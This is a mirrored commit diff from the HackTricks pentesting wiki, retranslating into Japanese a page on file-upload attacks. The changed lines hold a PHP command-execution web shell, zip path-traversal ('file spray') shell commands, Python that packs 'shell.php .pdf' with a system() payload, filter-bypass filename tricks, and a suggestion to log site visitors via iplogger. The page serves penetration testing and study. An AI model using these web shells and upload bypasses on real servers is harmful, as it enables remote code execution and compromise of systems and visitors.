mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/file-upload.md'] to jp
This commit is contained in:
parent
4dbd7abf70
commit
62c014e5c6
1 changed files with 19 additions and 21 deletions
|
@ -39,15 +39,15 @@
|
|||
1. ファイル内のどこにでもそれらを設定できるため、**マジックバイト**がファイルで**チェックされている**可能性もあります。
|
||||
9. **Windows**の**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入されます。その結果、サーバー上に禁止された拡張子の**空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは、その後他のテクニックを使用して編集することができます。たとえば、その短いファイル名を使用することができます。また、「**::$data**」パターンを使用して空でないファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります(例:「file.asp::$data.」)。
|
||||
10. 許可された拡張子(_png_)でバックドアを**アップロード**し、バックドアが実行される**ミス構成**を祈ります。
|
||||
11. 既にアップロードされたファイルを**リネーム**する脆弱性を見つけてください(拡張子を変更するため)。
|
||||
11. 既にアップロードされたファイルを**リネーム**するための脆弱性を見つけてください(拡張子を変更するため)。
|
||||
12. **ローカルファイルインクルージョン**の脆弱性を見つけて、バックドアを実行してください。
|
||||
13. **可能な情報漏洩**:
|
||||
1. **同じ名前**の**同じファイル**を**複数回**(**同時に**)アップロードする
|
||||
2. **既に存在する**ファイルまたはフォルダの**名前**を持つファイルをアップロードする
|
||||
3. **“.”、“..”、“…”**を名前とするファイルをアップロードする。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」のファイル名は「/www/」ディレクトリに「uploads」という名前のファイルを作成します。
|
||||
4. **NTFS**で**削除が容易でない**ファイルをアップロードする。例:「…:.jpg」(Windows)
|
||||
5. 名前に`|<>*?”`などの**無効な文字**を含むファイルを**Windows**にアップロードする(Windows)
|
||||
6. **CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9**などの**予約済み(禁止)名**を使用して**Windows**にファイルをアップロード
|
||||
1. **同じ名前**の**同じファイル**を**複数回**(**同時に**)アップロードします。
|
||||
2. **既に存在するファイル**または**フォルダ**の**名前**を持つファイルをアップロードします。
|
||||
3. **“.”、“..”、“…”**を名前とするファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」のファイル名は「/www/」ディレクトリに「uploads」という名前のファイルを作成します。
|
||||
4. **NTFS**で**削除が容易でない**ファイルをアップロードします。例:「…:.jpg」(Windows)
|
||||
5. 名前に`|<>*?”`などの**無効な文字**を含む**Windows**でのファイルのアップロード(Windows)
|
||||
6. **CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9**などの**予約済み(禁止)名**を使用して**Windows**にファイルを
|
||||
`.phar`ファイルは、Javaの`.jar`のようなものですが、PHP用です。PHPで実行したり、スクリプト内でインクルードしたりすることができます。
|
||||
|
||||
`.inc`拡張子は、ファイルをインポートするためだけに使用されることがありますので、ある時点で、誰かがこの拡張子を実行できるようにしている可能性があります。
|
||||
|
@ -95,7 +95,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* [有名な**ImageTrick**の脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* ウェブサーバーに画像を取得させることができる場合、[SSRF](ssrf-server-side-request-forgery.md)を悪用することができます。この**画像**がいくつかの**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||||
|
||||
以下は、アップロードによって達成できる10のことのトップリストです([リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
|
||||
以下は、アップロードによって達成できる10のことのトップ10リストです([リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webシェル / RCE
|
||||
2. **SVG**:格納型XSS / SSRF / XXE
|
||||
|
@ -150,7 +150,7 @@ create_malicious_zip('malicious.zip', malicious_content)
|
|||
|
||||
このコードを実行すると、`malicious.zip`という名前のzipファイルが作成され、その中に`../malicious_script.py`という名前のファイルが含まれます。このファイルは、悪意のあるスクリプトを実行するためのものです。
|
||||
|
||||
この悪意のあるzipファイルをアップロードされたファイルとして処理するウェブアプリケーションに対して使用することで、システムに深刻な影響を与える可能性があります。
|
||||
この悪意のあるzipファイルをアップロードされたファイルとして処理する場合、悪意のあるスクリプトが実行される可能性があるため、注意が必要です。
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -178,7 +178,7 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
2. 「ファイルスプレー」と呼ばれる手法を使用し、圧縮されたzipファイルを作成します。
|
||||
2. 「ファイルスプレー」と呼ばれる手法を使用し、圧縮されたzipファイルを作成します:
|
||||
```text
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# ls *.php
|
||||
|
@ -204,25 +204,23 @@ root@s2crew:/tmp#
|
|||
:%s/xxA/..\//g
|
||||
:x!
|
||||
```
|
||||
完了するのはあと1ステップです:ZIPファイルをアップロードし、アプリケーションに解凍させます!成功すれば、ウェブサーバーに十分な権限がある場合、システム上に簡単なOSコマンド実行シェルが存在します:
|
||||
完了したのはあと1ステップだけです:ZIPファイルをアップロードし、アプリケーションに解凍させます!成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが作成されます:
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
**参考**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
## 異なる名前で解凍する
|
||||
## 別の名前で解凍する
|
||||
|
||||
アプリケーションによっては、zipファイル内の拡張子をチェックしてファイルの読み込みをブロックする場合があります。この検証が表面的で、つまりローカルフィールドヘッダー内のファイル名をチェックするだけの場合、解凍後に別の拡張子を持つファイルであるとアプリケーションに信じさせることで回避することができます。
|
||||
アプリケーションによっては、zipファイル内の拡張子をチェックしてファイルの読み込みをブロックする場合があります。この検証が表面的で、つまりローカルフィールドヘッダー内のファイル名をチェックするだけの場合、解凍後に別の拡張子を持つファイルをアプリケーションに信じさせることで回避することができます。
|
||||
|
||||
前のスクリプトを再利用してzipファイルを作成することができます。
|
||||
前のスクリプトを再利用して、zipファイルを作成することができます。
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import zipfile
|
||||
from cStringIO import StringIO
|
||||
from io import BytesIO
|
||||
|
||||
def create_zip():
|
||||
f = StringIO()
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||
z.close()
|
||||
|
@ -286,13 +284,13 @@ IDATチャンクにウェブシェルを配置する主な理由は、リサイ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
|
|
Loading…
Reference in a new issue